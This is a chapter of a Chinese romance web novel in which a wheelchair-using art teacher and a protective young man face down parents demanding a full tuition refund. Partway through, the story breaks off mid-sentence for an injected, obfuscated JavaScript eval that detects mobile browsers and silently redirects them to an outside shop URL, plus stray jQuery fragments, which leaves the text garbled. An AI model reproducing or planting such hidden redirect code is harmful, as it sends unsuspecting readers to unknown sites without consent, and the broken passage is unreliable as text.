方初宜中午睡醒时天还是晴的,等她吃完饭换好衣服出门,外面就下起了绵绵细雨。
她之前打电话问了保险公司,从定损到维修,至少得需要两周以上。
一想到自己这么长时间都没车可用,方初宜的心情就很烦躁。
由于线上叫车愿意载她这种的司机很少,每天打车上下班也蛮费劲的。
就在这个当口,沈宗雾主动站出来,要在她车修好前做接送她上下班的司机。
她仔细想了想,最终没拒绝。
与其给其他陌生人添麻烦,还不如把她这个麻烦丢给“罪魁祸首”,她也丢的心安理得。
沈宗雾直接把车开到了画室门口。
她这次上下车都是沈宗雾抱着的,提前有了心理准备后,方初宜虽仍觉得不太习惯,但至少没有第一次那么慌张了。
跟他说了再见后,方初宜推开玻璃门进了画室,门上的风铃声与尖利的争吵声,一同钻进了耳朵。
接待区沙发上坐着一对三四十岁的夫妻,穿着并不光鲜但还算整洁,本该在画室里等待上课的孩子此时正在父母身边瑟缩着。
校务张姐脸色有些难看,但还是站在夫妻对面挤出笑说着什么。
听见门响,几人同时看了过来。
“方老师!你可算来了,”张姐像是看见了救星一样,快步走到她身边,低声陈述眼下的情况,“是浩浩父母,说孩子来了三个月都没有进步,要退全年的学费。我跟他们说了,可以按合同退还剩余课时,可他们不同意,非要求退全款。”
“没事张姐,我和他们谈谈。”
方初宜操控轮椅往接待区去,还没等她开口,那男人目光极不友善地上下打量她,最终视线落在她的腿上,嗤了一声,语气瞬间更冲了,“难怪我儿子什么也学不会,合着你们收着高价课时费就找了个残疾来糊弄我们?”
张姐脸一下就拉了下来,之前硬挤的笑容也没了,“浩浩爸爸,话可不能乱说,我们‘Liberty艺术’从未糊弄过任何一名学生。方老师可是我们这儿专业最厉害的老师,她的能力是业内公认的!有些孩子想排她的课都排不到!”
“还公认,一个瘫子都能是你们这最厉害的,那看来你们这就是骗人的!”男人抱着胳膊,斜着眼扫向方初宜,“别以为我们不懂,我看你们就是为了政策福利,才找了个残疾来滥竽充数,骗家长们的钱!今天你们要是不把全年学费退给我,我就去教育局去消协投诉你们,让你们画室开不下去!”
难听的话一句接一句砸来,方初宜指尖悄悄握紧了操纵杆,脸色始终平静如水。
这些年,她见过太多这种人了,起初会有的难堪和愤怒,可如今早就能做到坦然面对。
她什么也没说,只是淡定从包里拿出平板,指尖点了几下,放在这对夫妻面前的茶几上。
“我的教师资格证,省级美术协会会员证,各大美术赛事获奖证书都在这里,不过我想二位应该不太想看,”
她早就看透这对夫妻的意图,语气沉稳,“我是否有资格任教,即便是教育局来查,我也是丝毫不怕的。”
张姐见缝插话,冷哼一声,“你们大可以自己上网查查,方老师可是全西沙唯一一个拿到罗德岛设计学院通知书的人,要不是出了意外,早就留美了。”
方初宜面不改色,目光转向旁边瑟缩的小男孩,“浩浩这三个月来,每堂课的画稿我们都有留底,他很有天赋,进步也比同龄孩子快。他到底有没有长进,随便找个美术行业的人来,都可以判定。”
“所以二位退全款的诉求,我们无法答应,但是剩余课时费可以即刻退给你们。”
一听不退全款,男人猛地一拍桌子站起来,“少拿话糊弄我们,你们说留底的画稿是我儿子画的就是我儿子画的了?我们看就是他没进步,你们赶紧把钱退了,不退我们今天就不走了!”
“就是!你们不退全款,我们从今天开始就住在这,看谁敢来你们这里上课!”一旁的女人也接话道。
“退不了全款。”
方初宜不受威胁,没有丝毫犹豫,“合同上白纸黑字写的很清楚,已上课时按标准扣费,剩余费用可全额退还。”
她话音顿了顿,再次看了眼一旁缩着的小男孩,“两位是孩子的家长,当着孩子面玩胡搅蛮缠这套,可不是什么好榜样。如果真认定我教学有问题,随时欢迎你们找第三方机构来鉴定。”
“你他妈说谁胡搅蛮缠?!”男人被戳中痛处,瞬间恼羞成怒,上前一步,伸手指向方初宜,“你个瘫子也配教育我?!你信不信我——”
他话还没说完,手腕猛地被一只手死死攥住,同时被用力朝反方向掰着,男人力道敌不过,吃痛地喊出声。
沈宗雾原本是想,来都来了,打算进来看一眼,顺便在把他后面的课和校务安排一下。
他推开门时正听到方初宜对他们说“退不了全款”,紧接着就被那个男的指着骂她瘫子。
他脸色一沉,直接就冲了过去。
沈宗雾站在男人身侧,浑身像冰窖一样散发着冷气,话音带着震慑的气势,“把嘴放干净点。”
说完,他轻轻一推,男人踉踉跄跄后退了好几步,差点摔在地上。
方初宜仰头看着站在自己身前的背影,微微一愣。
一旁的女人立刻炸了,掏出手机点开录像,举着就往方初宜面前凑,扯着嗓子喊,“大家快来看啊!无良画室收高价课时费找残疾人上课骗钱,不退费还动手打人!我要把你们曝光到网上,让所有人看见你们的真面目!”
方初宜垂眼扭头,下意识躲闪着摄像头。
自从车祸后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840947|211646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她没再拍过任何照片和视频,她不想如今的自己曝光在网络上。
可女人拼命将手机对准她,喊得声嘶力竭,嘴里反复念叨“瘫子”“残疾人骗钱”之类的。
她眉心紧蹙,刚要准备抬手挡住,就见沈宗雾突然上前,一把夺走女人手机,狠狠朝地面一摔,手机重重砸在地砖上翻了好几个跟头才停下。
屏幕四分五裂摔的稀碎,彻底没了声音。
女人愣了片刻,随即一声尖叫,“你敢摔我手机?!”
沈宗雾没理她,一步一步朝她走去。
他186的个子比一般男性都高出不少,形成的阴影步步紧逼,一点点将女人吞噬。
那女人被他的气势吓得抖了抖,频频后退。
沈宗雾冷眼垂眸,声音不带半分温度,“再敢提一次‘瘫子’‘残疾’这几个字,”他一字一顿,“你试试看。”
一旁男人作势要上前,沈宗雾一个冷眼扫过去,他浑身颤抖了下,便不敢再动。
“听好了,现在给你们两个选择,”他的声音里显然压抑着情绪,“要么,立刻接受退费,拿着钱滚。要么,”
他转了转手腕,又上前一步,“我把这男的打进医院,再赔你们一笔高昂的医药费。
你们自己选。”
沈宗雾说完,那夫妻俩对视一眼,立马同意了退费,没在多说一个字。
他们还算是有点眼力的,看出来眼前这人是真的会对他们动手。
校务张姐在一旁都看呆了,没想到看着吊儿郎当的帅小伙,护起人来气场这么强!
那对夫妻的变脸速度,快的让人咂舌。
方初宜也对在沈宗雾身上不曾见过的这面,有些震惊。
他用行动充分展示了四个字,对症下药。
对待这种胡搅蛮缠的人,跟他们讲道理是行不通的,就得像沈宗雾一样比他们更狠更不讲理才行。
她苦口婆心说了半天,不及沈宗雾效率的十分之一。
看来狗崽子不仅会耍赖,也是会咬人的。
转眼间,夫妻俩就收到了退费,带儿子火速离开了画室。
沈宗雾半蹲在方初宜身前,扫了眼她周身,轻声问,“你没事吧?”
她看着对方蹲到和自己视线平气的高度,心里微微动了一下,“谢谢。”
他眉头一挑,脸上挂起标致的括弧笑,“我更想要方老师的谢谢,付诸在行动上。”
“比如呢?”方初宜问。
“给家里换个沙发。”
“刚才的谢谢,我收回。”
她操纵轮椅朝门口驶去。
“要不这样,我出钱买行吗?”
“不行。”
“别这样方老师,在考虑考虑呢?”
方初宜走在前面,嘴角笑意悄悄浓了几分。